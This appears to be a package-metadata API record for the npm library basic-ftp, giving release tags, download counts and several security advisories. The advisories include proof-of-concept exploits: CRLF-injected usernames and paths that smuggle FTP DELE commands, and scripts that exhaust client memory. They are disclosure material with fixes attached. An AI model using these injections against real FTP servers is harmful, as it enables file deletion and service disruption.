,"sha":"964b3ece50267c599c3169b0f9c57f8796149b57","kind":"tag","published_at":"2017-12-31T17:18:24.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.3/manifests"},{"name":"v1.0.2","sha":"ab8d752c781aedfee1b681bb8344a2789c265bf2","kind":"tag","published_at":"2017-12-30T23:15:51.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.2/manifests"}]},"repo_metadata_updated_at":"2026-06-22T16:15:04.661Z","dependent_packages_count":271,"downloads":111213460,"downloads_period":"last-month","dependent_repos_count":5188,"rankings":{"downloads":0.058346411764126076,"dependent_repos_count":0.3186464289586576,"dependent_packages_count":0.18423885723172423,"stargazers_count":2.803858584287703,"forks_count":3.267645477235864,"docker_downloads_count":0.8606574882184603,"average":1.2488988746160892},"purl":"pkg:npm/basic-ftp","advisories":[{"uuid":"GSA_kwCzR0hTQS1ycG1mLTg2NnEtNnA4Oc4ABWTL","url":"https://github.com/advisories/GHSA-rpmf-866q-6p89","title":"basic-ftp allows a malicious FTP server to cause client-side denial of service via unbounded multiline control response buffering","description":"## Summary\n\n`basic-ftp` is vulnerable to client-side denial of service when parsing FTP control-channel multiline responses.\n\nA malicious or compromised FTP server can send an unterminated multiline response during the initial FTP banner phase, before authentication. The client keeps appending attacker-controlled data into `FtpContext._partialResponse` and repeatedly reparses the accumulated buffer without enforcing a maximum control response size.\n\nAs a result, an application using `basic-ftp` can remain stuck in `connect()` while memory and CPU usage grow under attacker-controlled input. This can lead to process-level denial of service, container OOM kills, worker restarts, queue backlog, or service degradation in applications that automatically connect to FTP endpoints.\n\n---\n\n## Details\n\n### Root cause\n\nThe root cause is that incomplete FTP multiline control responses are buffered without an upper bound.\n\n`FtpContext` stores incomplete control-channel data in `_partialResponse`:\n\n\nhttps://github.com/patrickjuchli/basic-ftp/blob/50827c73ca6c1d786c97276e47be8a33d0f2277d/src/FtpContext.ts#L63-L64\n\n\nIncoming control-channel data is handled in `_onControlSocketData`. The implementation concatenates the previous incomplete response with the new chunk, parses the entire accumulated string, and stores `parsed.rest` back into `_partialResponse`:\n\n\nhttps://github.com/patrickjuchli/basic-ftp/blob/50827c73ca6c1d786c97276e47be8a33d0f2277d/src/FtpContext.ts#L328-L340\n\n\nThe relevant flow is:\n\n\ncompleteResponse = this._partialResponse + chunk\nparsed = parseControlResponse(completeResponse)\nthis._partialResponse = parsed.rest\n\n\nThere is no maximum size check before concatenating, before parsing, or before storing `parsed.rest`.\n\nThe parser accepts incomplete multiline responses and returns the entire unterminated multiline group as `rest`:\n\n\nhttps://github.com/patrickjuchli/basic-ftp/blob/50827c73ca6c1d786c97276e47be8a33d0f2277d/src/parseControlResponse.ts#L15-L43\n\n\nIf a server starts a multiline FTP response:\n\n\n220-malicious banner starts\n\n\nbut never sends the terminating line:\n\n\n220 ready\n\n\nthen `parseControlResponse()` treats the accumulated multiline data as incomplete and returns it as `rest`.\n\nBecause `_onControlSocketData()` feeds `_partialResponse + chunk` back into the parser on every new data event, the client repeatedly reparses a growing attacker-controlled buffer. This creates both memory growth and increasing parsing work.\n\n### Why this is security-relevant\n\nThe vulnerable component is a client library. The attacker does not need to authenticate to the victim system and does not need valid FTP credentials.\n\nThe attack occurs automatically when an application using `basic-ftp` connects to a malicious or compromised FTP server. The malicious response is sent as the FTP server banner before login. No additional user interaction is required after the application initiates a normal FTP connection.\n\nThis is realistic for applications that use FTP for:\n\n- scheduled imports or exports\n- customer-provided FTP endpoints\n- backup or synchronization jobs\n- CI/CD artifact mirroring\n- document ingestion pipelines\n- legacy business integrations\n\nIn those environments, one malicious or compromised FTP endpoint can cause the Node.js process using `basic-ftp` to consume excessive memory and CPU or remain stuck in a pending connection state.\n\n---\n\n## Proof of Concept\n\nThe PoC uses a local malicious FTP server that accepts a victim connection and sends an unterminated multiline FTP banner. The banner starts with `220-`, but the server never sends the required terminating `220 ` line.\n\n### Reproduction steps\n\nFrom the root of the `basic-ftp` project:\n\n```bash\nnpm ci\nnpm run buildOnly\n```\n\n[poc_control_parser_direct.js](https://github.com/user-attachments/files/27051425/poc_control_parser_direct.js)\n\n```bash\nCHUNKS=1000 node poc_control_parser_direct.js | tee poc-results/parser_direct_1000.log\n```\n\n[parser_direct_1000.log](https://github.com/user-attachments/files/27051430/parser_direct_1000.log)\n\nRun the end-to-end malicious FTP server PoC:\n\n[poc_control_multiline_dos.js](https://github.com/user-attachments/files/27051385/poc_control_multiline_dos.js)\n\n```bash\nCHUNK_SIZE=8192 CHUNKS=1000 DELAY_MS=1 node poc_control_multiline_dos.js | tee poc-results/control_multiline_dos_1000.log\n```\n\n[control_multiline_dos_1000.log](https://github.com/user-attachments/files/27051397/control_multiline_dos_1000.log)\n\n### Observed result: parser-only PoC\n\n```text\n[basic-ftp parseControlResponse incomplete multiline DoS]\nInput fed: 7.81 MiB\nRetained rest: 7.81 MiB\nInitial rss/heap: 54.77 MiB 3.69 MiB\nFinal   rss/heap: 141.64 MiB 80.77 MiB\n```\n\nThis shows that `parseControlResponse()` retained the full unterminated multiline response as `rest`.\n\nThe retained buffer grew to `7.81 MiB`. Heap usage increased from `3.69 MiB` to `80.77 MiB`, and RSS increased from `54.77 MiB` to `141.64 MiB`.\n\n### Observed result: end-to-end malicious FTP server PoC\n\n```text\n[server] listening on 127.0.0.1:34429\n[server] victim connected\n[progress] chunks=850 sent=6.6 MiB partialResponse=6.6 MiB heapUsed=227.5 MiB rss=292.4 MiB\n[progress] chunks=900 sent=7.0 MiB partialResponse=7.0 MiB heapUsed=213.1 MiB rss=278.0 MiB\n[final-before-close] chunks=1000 sent=7.8 MiB partialResponse=7.8 MiB heapUsed=82.1 MiB rss=146.8 MiB\n[result] client connect() is still pending because the multiline response never terminated\n```\n\nOnly `7.8 MiB` of malicious control-channel data was sent. The client retained `7.8 MiB` in `_partialResponse`, showed large memory spikes, and remained pending inside `connect()` because the multiline response was never terminated.\n\n---\n\n## Expected behavior\n\nThe client should enforce a maximum size for incomplete FTP control responses. If the accumulated multiline response exceeds a safe limit, the client should close the connection and reject the active task with an error.\n\nThe client should not allow a remote FTP server to make `_partialResponse` grow without bound.\n\n---\n\n## Actual behavior\n\nA malicious FTP server can keep the client in a pending connection state by sending an unterminated multiline control response. `basic-ftp` continues buffering and reparsing the accumulated data without a maximum response size.\n\n---\n\n## Impact\n\nA malicious or compromised FTP server can cause denial of service in applications using `basic-ftp`.\n\nPossible real-world impact includes:\n\n- Node.js process memory exhaustion\n- container OOM kill\n- worker crash or restart loop\n- event loop CPU pressure due to repeated reparsing\n- stuck FTP jobs\n- queue backlog in scheduled import/export systems\n- degraded availability of services relying on automated FTP ingestion\n\n---\n\n## Threat model\n\nThe attacker controls, compromises, or can impersonate an FTP server that a victim application connects to.\n\nExamples:\n\n1. A SaaS application allows customers to configure external FTP endpoints for automated imports.\n2. A backend job periodically pulls files from partner FTP servers.\n3. A document ingestion pipeline connects to FTP endpoints supplied by external users.\n4. A legacy integration uses FTP for scheduled synchronization.\n5. A build or deployment pipeline mirrors artifacts from an FTP server.\n\nIn each case, the victim application initiates a normal FTP connection. The malicious server sends an unterminated multiline banner before authentication. The vulnerable client then buffers and reparses the response indefinitely.\n\nNo FTP credentials are required for exploitation because the attack happens before login.\n\n---\n\n## Suggested fix\n\nIntroduce a maximum control response buffer size, especially for incomplete multiline responses.\n\nRecommended changes:\n\n- Add a `maxControlResponseBytes` or `maxControlResponseLength` limit.\n- Enforce the limit before or immediately after appending new control-channel data.\n- Close the connection and reject the active task when the limit is exceeded.\n- Add regression tests for unterminated multiline responses.\n\nExample defensive logic:\n\n```text\nif (completeResponse.length \u003e maxControlResponseLength) {\n    closeWithError(new Error(\"FTP control response exceeded maximum allowed size\"))\n}\n```\n\nA regression test should verify that a response beginning with `220-` and never terminating with `220 ` is rejected after the configured size limit instead of being retained indefinitely.\n\n---\n\n## Suggested regression test scenario\n\nA test server should:\n\n1. Accept a client connection.\n2. Send an FTP multiline response opener such as `220-malicious banner\\r\\n`.\n3. Continue sending additional lines without ever sending the terminating `220 ` line.\n4. Verify that the client rejects the connection once the configured response-size limit is exceeded.\n5. Verify that `_partialResponse` does not grow without bound.\n\n## Credit request\nIf you publish an advisory or assign a CVE, please credit me as:\n\nAli Firas (thesmartshadow)  - https://www.smartshadow.dev","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-06T19:37:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-rpmf-866q-6p89","https://nvd.nist.gov/vuln/detail/CVE-2026-44240","https://github.com/advisories/GHSA-rpmf-866q-6p89"],"source_kind":"github","identifiers":["GHSA-rpmf-866q-6p89","CVE-2026-44240"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-06T20:00:08.694Z","updated_at":"2026-06-22T16:01:12.261Z","epss_percentage":0.00465,"epss_percentile":0.36648,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycG1mLTg2NnEtNnA4Oc4ABWTL","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ycG1mLTg2NnEtNnA4Oc4ABWTL","packages":[{"ecosystem":"npm","package_name":"basic-ftp","versions":[{"first_patched_version":"5.3.1","vulnerable_version_range":"\u003c= 5.3.0"}],"purl":"pkg:npm/basic-ftp"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycG1mLTg2NnEtNnA4Oc4ABWTL/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ycDQyLTV2eHgtcXB3cs4ABVZW","url":"https://github.com/advisories/GHSA-rp42-5vxx-qpwr","title":"basic-ftp vulnerable to denial of service via unbounded memory consumption in Client.list()","description":"### Summary\n`basic-ftp@5.2.2` is vulnerable to denial of service through unbounded memory growth while processing directory listings from a remote FTP server. A malicious or compromised server can send an extremely large or never-ending listing response to `Client.list()`, causing the client process to consume memory until it becomes unstable or crashes.\n\n### Details\nThe issue is in the package's default directory listing flow.\n\n`Client.list()` reaches `dist/Client.js`, where the full listing response is downloaded into a `StringWriter` before parsing:\n\nFile: `dist/Client.js:516-527`\n\n```js\nasync _requestListWithCommand(command) {\n    const buffer = new StringWriter_1.StringWriter();\n    await (0, transfer_1.downloadTo)(buffer, {\n        ftp: this.ftp,\n        tracker: this._progressTracker,\n        command,\n        remotePath: \"\",\n        type: \"list\"\n    });\n    const text = buffer.getText(this.ftp.encoding);\n    this.ftp.log(text);\n    return this.parseList(text);\n}\n```\n\nThe vulnerable sink is `StringWriter`, which grows an in-memory `Buffer` with no limit:\n\nFile: `dist/StringWriter.js:5-20`\n\n```js\nclass StringWriter extends stream_1.Writable {\n    constructor() {\n        super(...arguments);\n        this.buf = Buffer.alloc(0);\n    }\n    _write(chunk, _, callback) {\n        if (chunk instanceof Buffer) {\n            this.buf = Buffer.concat([this.buf, chunk]);\n            callback(null);\n        }\n        else {\n            callback(new Error(\"StringWriter expects chunks of type 'Buffer'.\"));\n        }\n    }\n    getText(encoding) {\n        return this.buf.toString(encoding);\n    }\n}\n```\n\nThe critical operation is:\n\n```js\nthis.buf = Buffer.concat([this.buf, chunk]);\n```\n\nThere is no maximum size check, no truncation, and no streaming parser. Because the remote FTP server controls the listing response, it can force the client to keep allocating memory until the process is terminated.\n\nHow it happens:\n\n1. An application connects to an attacker-controlled or compromised FTP server.\n2. The application calls `client.list()`.\n3. The server returns an extremely large or unbounded directory listing.\n4. `basic-ftp` buffers the full response in `StringWriter`.\n5. Memory grows without bound due to repeated `Buffer.concat(...)` calls.\n\n### PoC\nThe following PoC exercises the vulnerable buffering primitive directly:\n\n```js\nconst { StringWriter } = require(\"basic-ftp/dist/StringWriter.js\");\n\nfunction mb(n) {\n  return Math.round(n / 1024 / 1024) + \"MB\";\n}\n\nconst writer = new StringWriter();\nlet wrote = 0;\n\nfor (let i = 0; i \u003c 32; i++) {\n  const chunk = Buffer.alloc(4 * 1024 * 1024, 0x41);\n  writer.write(chunk);\n  wrote += chunk.length;\n\n  if ((i + 1) % 8 === 0) {\n    const m = process.memoryUsage();\n    console.log(\"written\", mb(wrote), \"rss\", mb(m.rss), \"heap\", mb(m.heapUsed), \"buf\", mb(m.arrayBuffers));\n  }\n}\n\nconsole.log(\"final text len\", writer.getText(\"utf8\").length);\n```\n\nObserved output:\n\n```text\nwritten 32MB rss 116MB heap 4MB buf 64MB\nwritten 64MB rss 296MB heap 4MB buf 240MB\nwritten 96MB rss 340MB heap 3MB buf 284MB\nwritten 128MB rss 436MB heap 3MB buf 376MB\nfinal text len 134217728\n```\n\nThis demonstrates sustained memory growth in the same code path used to buffer directory listing data.\n\nSupporting files saved alongside this report:\n\n- `poc.js`\n- `poc_output.txt`\n\n### Impact\nThis is a denial-of-service vulnerability affecting applications that use `basic-ftp` to list directories from remote FTP servers.\n\n- Vulnerability class: Memory exhaustion / Denial of Service\n- Attack precondition: The victim connects to a malicious or compromised FTP server and performs `Client.list()`\n- Impacted users: Any application or service using `basic-ftp@5.2.2` against untrusted FTP endpoints\n- Security effect: The attacker can cause excessive memory consumption, process instability, and potential process termination\n\nRecommended remediation:\n\n1. Enforce a maximum listing size.\n2. Abort transfers that exceed the configured limit.\n3. Prefer incremental or streaming parsing over full-response buffering.\n\nExample defensive check:\n\n```js\nif (this.buf.length + chunk.length \u003e MAX_LISTING_BYTES) {\n    callback(new Error(\"FTP listing exceeds maximum allowed size.\"));\n    return;\n}\nthis.buf = Buffer.concat([this.buf, chunk]);\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-16T21:37:48.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-rp42-5vxx-qpwr","https://nvd.nist.gov/vuln/detail/CVE-2026-41324","https://github.com/advisories/GHSA-rp42-5vxx-qpwr"],"source_kind":"github","identifiers":["GHSA-rp42-5vxx-qpwr","CVE-2026-41324"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-16T22:00:09.293Z","updated_at":"2026-06-22T16:01:29.896Z","epss_percentage":0.00332,"epss_percentile":0.24817,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycDQyLTV2eHgtcXB3cs4ABVZW","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ycDQyLTV2eHgtcXB3cs4ABVZW","packages":[{"ecosystem":"npm","package_name":"basic-ftp","versions":[{"first_patched_version":"5.3.0","vulnerable_version_range":"\u003c= 5.2.2"}],"purl":"pkg:npm/basic-ftp"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycDQyLTV2eHgtcXB3cs4ABVZW/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02djdxLXdqdngtdzh3Z84ABVGT","url":"https://github.com/advisories/GHSA-6v7q-wjvx-w8wg","title":"basic-ftp: Incomplete CRLF Injection Protection Allows Arbitrary FTP Command Execution via Credentials and MKD Commands","description":"## Summary\n\nbasic-ftp's CRLF injection protection (added in commit 2ecc8e2 for GHSA-chqc-8p9q-pq6q) is incomplete. Two code paths bypass the `protectWhitespace()` control character check: (1) the `login()` method directly concatenates user-supplied credentials into USER/PASS FTP commands without any validation, and (2) the `_openDir()` method sends an MKD command before `cd()` invokes `protectWhitespace()`, creating a TOCTOU bypass. Both vectors allow an attacker who controls input to inject arbitrary FTP commands into the control connection.\n\n## Details\n\n### Vector 1: Credential Injection (login)\n\nThe `login()` method constructs FTP commands by direct string concatenation with no CRLF validation:\n\n```typescript\n// src/Client.ts:216-231\nlogin(user = \"anonymous\", password = \"guest\"): Promise\u003cFTPResponse\u003e {\n    this.ftp.log(`Login security: ${describeTLS(this.ftp.socket)}`)\n    return this.ftp.handle(\"USER \" + user, (res, task) =\u003e {  // Line 218: no validation on `user`\n        // ...\n        else if (res.code === 331) {\n            this.ftp.send(\"PASS \" + password)  // Line 226: no validation on `password`\n        }\n    })\n}\n```\n\n`FtpContext.send()` writes directly to the TCP socket:\n\n```typescript\n// src/FtpContext.ts:223-227\nsend(command: string) {\n    // ...\n    this._socket.write(command + \"\\r\\n\", this.encoding)\n}\n```\n\nThe `protectWhitespace()` method (line 762) rejects `\\r`, `\\n`, and `\\0` characters — but it is only called for path-based operations. Credentials never pass through it.\n\nThe public `access()` method (line 268) passes `options.user` and `options.password` directly to `login()` with no sanitization.\n\n### Vector 2: MKD TOCTOU Bypass (_openDir)\n\nThe `_openDir()` method sends an MKD command before the CRLF check in `cd()`:\n\n```typescript\n// src/Client.ts:745-748\nprotected async _openDir(dirName: string) {\n    await this.sendIgnoringError(\"MKD \" + dirName)  // Line 746: sent BEFORE validation\n    await this.cd(dirName)                           // Line 747: protectWhitespace() called here — too late\n}\n```\n\nThis is called from `ensureDir()` (line 729) which splits a user-supplied remote path by `/` and passes each fragment to `_openDir()`, and from `_uploadToWorkingDir()` (line 679) which passes local directory names read from the filesystem.\n\n## PoC\n\n### Vector 1: Credential Injection\n\n```javascript\nconst ftp = require(\"basic-ftp\");\n\nasync function exploit() {\n    const client = new ftp.Client();\n    client.ftp.verbose = true;\n\n    // Connect to target FTP server\n    await client.access({\n        host: \"target-ftp-server\",\n        port: 21,\n        // Username contains CRLF + injected DELE command\n        user: \"anonymous\\r\\nDELE important.txt\",\n        password: \"guest\"\n    });\n    // Server receives on the wire:\n    //   USER anonymous\\r\\n\n    //   DELE important.txt\\r\\n\n    //   PASS guest\\r\\n\n    // The DELE command executes before PASS is processed\n\n    client.close();\n}\n\nexploit();\n```\n\n### Vector 2: MKD TOCTOU Bypass\n\n```javascript\nconst ftp = require(\"basic-ftp\");\n\nasync function exploit() {\n    const client = new ftp.Client();\n    client.ftp.verbose = true;\n\n    await client.access({\n        host: \"target-ftp-server\",\n        user: \"anonymous\",\n        password: \"guest\"\n    });\n\n    // Path fragment with CRLF — MKD is sent before cd() validates\n    try {\n        await client.ensureDir(\"test\\r\\nDELE important.txt/subdir\");\n    } catch (e) {\n        // cd() throws after protectWhitespace() rejects, but MKD + DELE already sent\n    }\n    // Server received:\n    //   MKD test\\r\\n\n    //   DELE important.txt\\r\\n\n    //   CWD test\\r\\n  \u003c-- this may fail, but damage is done\n\n    client.close();\n}\n\nexploit();\n```\n\n## Impact\n\nAn attacker who controls credentials or remote paths passed to basic-ftp can inject arbitrary FTP commands into the control connection. This enables:\n\n- **File deletion**: Inject `DELE` commands to remove files on the FTP server\n- **File manipulation**: Inject `RNFR`/`RNTO` to rename files, `MKD`/`RMD` to create/remove directories\n- **Server commands**: Inject `SITE` commands (e.g., `SITE CHMOD`) to change permissions\n- **Session hijacking**: Inject `USER`/`PASS` to re-authenticate as a different user\n\nThe credential injection vector (Vector 1) is particularly dangerous because it occurs before authentication, meaning the injected commands execute with whatever default permissions the server grants during the login handshake.\n\nApplications that accept user-supplied FTP credentials (e.g., web-based file managers, backup tools, deployment systems) are directly vulnerable.\n\n## Recommended Fix\n\nAdd CRLF validation to both code paths:\n\n**1. Validate credentials in `login()`:**\n\n```typescript\n// src/Client.ts:216\nlogin(user = \"anonymous\", password = \"guest\"): Promise\u003cFTPResponse\u003e {\n    if (/[\\r\\n\\0]/.test(user) || /[\\r\\n\\0]/.test(password)) {\n        return Promise.reject(new Error(\"Invalid credentials: Contains control characters\"));\n    }\n    this.ftp.log(`Login security: ${describeTLS(this.ftp.socket)}`)\n    return this.ftp.handle(\"USER \" + user, (res, task) =\u003e {\n        // ... rest unchanged\n    })\n}\n```\n\n**2. Validate dirName in `_openDir()` before sending MKD:**\n\n```typescript\n// src/Client.ts:745\nprotected async _openDir(dirName: string) {\n    if (/[\\r\\n\\0]/.test(dirName)) {\n        throw new Error(\"Invalid path: Contains control characters\");\n    }\n    await this.sendIgnoringError(\"MKD \" + dirName)\n    await this.cd(dirName)\n}\n```\n\nAlternatively, centralize CRLF validation in `FtpContext.send()` so that all FTP commands are protected regardless of the calling code path.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-10T20:18:23.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","references":["https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-6v7q-wjvx-w8wg","https://github.com/patrickjuchli/basic-ftp/commit/20327d35126e57e5fdbaae79a4b65222fbadc53c","https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.2","https://github.com/advisories/GHSA-6v7q-wjvx-w8wg"],"source_kind":"github","identifiers":["GHSA-6v7q-wjvx-w8wg"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-10T21:00:11.062Z","updated_at":"2026-05-07T07:00:35.704Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02djdxLXdqdngtdzh3Z84ABVGT","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02djdxLXdqdngtdzh3Z84ABVGT","packages":[{"ecosystem":"npm","package_name":"basic-ftp","versions":[{"first_patched_version":"5.2.2","vulnerable_version_range":"\u003c= 5.2.1"}],"purl":"pkg:npm/basic-ftp"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02djdxLXdqdngtdzh3Z84ABVGT/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jaHFjLThwOXEtcHE2cc4ABU9N","url":"https://github.com/advisories/GHSA-chqc-8p9q-pq6q","title":"basic-ftp has FTP Command Injection via CRLF","description":"## Summary\n\n`basic-ftp` version `5.2.0` allows FTP command injection via CRLF sequences (`\\r\\n`) in file path parameters passed to high-level path APIs such as `cd()`, `remove()`, `rename()`, `uploadFrom()`, `downloadTo()`, `list()`, and `removeDir()`. The library's `protectWhitespace()` helper only handles leading spaces and returns other paths unchanged, while `FtpContext.send()` writes the resulting command string directly to the control socket with `\\r\\n` appended. This lets attacker-controlled path strings split one intended FTP command into multiple commands.\n\n## Affected product\n\n| Product | Affected versions | Fixed version |\n| --- | --- | --- |\n| basic-ftp (npm) | 5.2.0 (confirmed) | no fix available as of 2026-04-04 |\n\n## Vulnerability details\n\n- CWE: `CWE-93` - Improper Neutralization of CRLF Sequences ('CRLF Injection')\n- CVSS 3.1: `8.6` (`High`)\n- Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L`\n- Affected component: `dist/Client.js`, all path-handling methods via `protectWhitespace()` and `send()`\n\nThe vulnerability exists because of two interacting code patterns:\n\n**1. Inadequate path sanitization in `protectWhitespace()` (line 677):**\n\n```javascript\nasync protectWhitespace(path) {\n    if (!path.startsWith(\" \")) {\n        return path;  // No sanitization of \\r\\n characters\n    }\n    const pwd = await this.pwd();\n    const absolutePathPrefix = pwd.endsWith(\"/\") ? pwd : pwd + \"/\";\n    return absolutePathPrefix + path;\n}\n```\n\nThis function only handles leading whitespace. It does not strip or reject `\\r` (0x0D) or `\\n` (0x0A) characters anywhere in the path string.\n\n**2. Direct socket write in `send()` (FtpContext.js line 177):**\n\n```javascript\nsend(command) {\n    this._socket.write(command + \"\\r\\n\", this.encoding);\n}\n```\n\nThe `send()` method appends `\\r\\n` to the command and writes directly to the TCP socket. If the command string already contains `\\r\\n` sequences (from unsanitized path input), the FTP server interprets them as command delimiters, causing the single intended command to be split into multiple commands.\n\n**Affected methods** (all call `protectWhitespace()` → `send()`):\n- `cd(path)` → `CWD ${path}`\n- `remove(path)` → `DELE ${path}`\n- `list(path)` → `LIST ${path}`\n- `downloadTo(localPath, remotePath)` → `RETR ${remotePath}`\n- `uploadFrom(localPath, remotePath)` → `STOR ${remotePath}`\n- `rename(srcPath, destPath)` → `RNFR ${srcPath}` / `RNTO ${destPath}`\n- `removeDir(path)` → `RMD ${path}`\n\n## Technical impact\n\nAn attacker who controls file path parameters can inject arbitrary FTP protocol commands, enabling:\n\n1. **Arbitrary file deletion**: Inject `DELE /critical-file` to delete files on the FTP server\n2. **Directory manipulation**: Inject `MKD` or `RMD` commands to create/remove directories\n3. **File exfiltration**: Inject `RETR` commands to trigger downloads of unintended files\n4. **Server command execution**: On FTP servers supporting `SITE EXEC`, inject system commands\n5. **Session hijacking**: Inject `USER`/`PASS` commands to re-authenticate as a different user\n6. **Service disruption**: Inject `QUIT` to terminate the FTP session unexpectedly\n\nThe attack is realistic in applications that accept user input for FTP file paths — for example, web applications that allow users to specify files to download from or upload to an FTP server.\n\n## Proof of concept\n\n**Prerequisites:**\n\n```bash\nmkdir basic-ftp-poc \u0026\u0026 cd basic-ftp-poc\nnpm init -y\nnpm install basic-ftp@5.2.0\n```\n\n**Mock FTP server (ftp-server-mock.js):**\n\n```javascript\nconst net = require('net');\nconst server = net.createServer(conn =\u003e {\n  console.log('[+] Client connected');\n  conn.write('220 Mock FTP\\r\\n');\n  let buffer = '';\n  conn.on('data', data =\u003e {\n    buffer += data.toString();\n    const lines = buffer.split('\\r\\n');\n    buffer = lines.pop();\n    for (const line of lines) {\n      if (!line) continue;\n      console.log('[CMD] ' + JSON.stringify(line));\n      if (line.startsWith('USER')) conn.write('331 OK\\r\\n');\n      else if (line.startsWith('PASS')) conn.write('230 Logged in\\r\\n');\n      else if (line.startsWith('FEAT')) conn.write('211 End\\r\\n');\n      else if (line.startsWith('TYPE')) conn.write('200 OK\\r\\n');\n      else if (line.startsWith('PWD'))  conn.write('257 \"/\"\\r\\n');\n      else if (line.startsWith('OPTS')) conn.write('200 OK\\r\\n');\n      else if (line.startsWith('STRU')) conn.write('200 OK\\r\\n');\n      else if (line.startsWith('CWD'))  conn.write('250 OK\\r\\n');\n      else if (line.startsWith('DELE')) conn.write('250 Deleted\\r\\n');\n      else if (line.startsWith('QUIT')) { conn.write('221 Bye\\r\\n'); conn.end(); }\n      else conn.write('200 OK\\r\\n');\n    }\n  });\n});\nserver.listen(2121, () =\u003e console.log('[*] Mock FTP on port 2121'));\n```\n\n**Exploit (poc.js):**\n\n```javascript\nconst ftp = require('basic-ftp');\n\nasync function exploit() {\n  const client = new ftp.Client();\n  client.ftp.verbose = true;\n  try {\n    await client.access({\n      host: '127.0.0.1',\n      port: 2121,\n      user: 'anonymous',\n      password: 'anonymous'\n    });\n\n    // Attack 1: Inject DELE command via cd()\n    // Intended: CWD harmless.txt\n    // Actual:   CWD harmless.txt\\r\\nDELE /important-file.txt\n    const maliciousPath = \"harmless.txt\\r\\nDELE /important-file.txt\";\n    console.log('\\n=== Attack 1: DELE injection via cd() ===');\n    try { await client.cd(maliciousPath); } catch(e) {}\n\n    // Attack 2: Double DELE via remove()\n    const maliciousPath2 = \"decoy.txt\\r\\nDELE /secret-data.txt\";\n    console.log('\\n=== Attack 2: DELE injection via remove() ===');\n    try { await client.remove(maliciousPath2); } catch(e) {}\n\n  } finally {\n    client.close();\n  }\n}\nexploit();\n```\n\n**Running the PoC:**\n\n```bash\n# Terminal 1: Start mock FTP server\nnode ftp-server-mock.js\n\n# Terminal 2: Run exploit\nnode poc.js\n```\n\n**Expected output on mock server:**\n\n```\n\"OPTS UTF8 ON\"\n\"USER anonymous\"\n\"PASS anonymous\"\n\"FEAT\"\n\"TYPE I\"\n\"STRU F\"\n\"OPTS UTF8 ON\"\n\"CWD harmless.txt\"\n\"DELE /important-file.txt\"   \u003c-- injected from cd()\n\"DELE decoy.txt\"\n\"DELE /secret-data.txt\"      \u003c-- injected from remove()\n\"QUIT\"\n```\n\nThis command trace was reproduced against the published `basic-ftp@5.2.0`\npackage on Linux with a local mock FTP server. The injected `DELE` commands are\nreceived as distinct FTP commands, confirming that CRLF inside path parameters\nis not neutralized before socket write.\n\n## Mitigation\n\n**Immediate workaround**: Sanitize all path inputs before passing them to basic-ftp:\n\n```javascript\nfunction sanitizeFtpPath(path) {\n  if (/[\\r\\n]/.test(path)) {\n    throw new Error('Invalid FTP path: contains control characters');\n  }\n  return path;\n}\n\n// Usage\nawait client.cd(sanitizeFtpPath(userInput));\n```\n\n**Recommended fix for basic-ftp**: The `protectWhitespace()` function (or a new validation layer) should reject or strip `\\r` and `\\n` characters from all path inputs:\n\n```javascript\nasync protectWhitespace(path) {\n    // Reject CRLF injection attempts\n    if (/[\\r\\n\\0]/.test(path)) {\n        throw new Error('Invalid path: contains control characters');\n    }\n    if (!path.startsWith(\" \")) {\n        return path;\n    }\n    const pwd = await this.pwd();\n    const absolutePathPrefix = 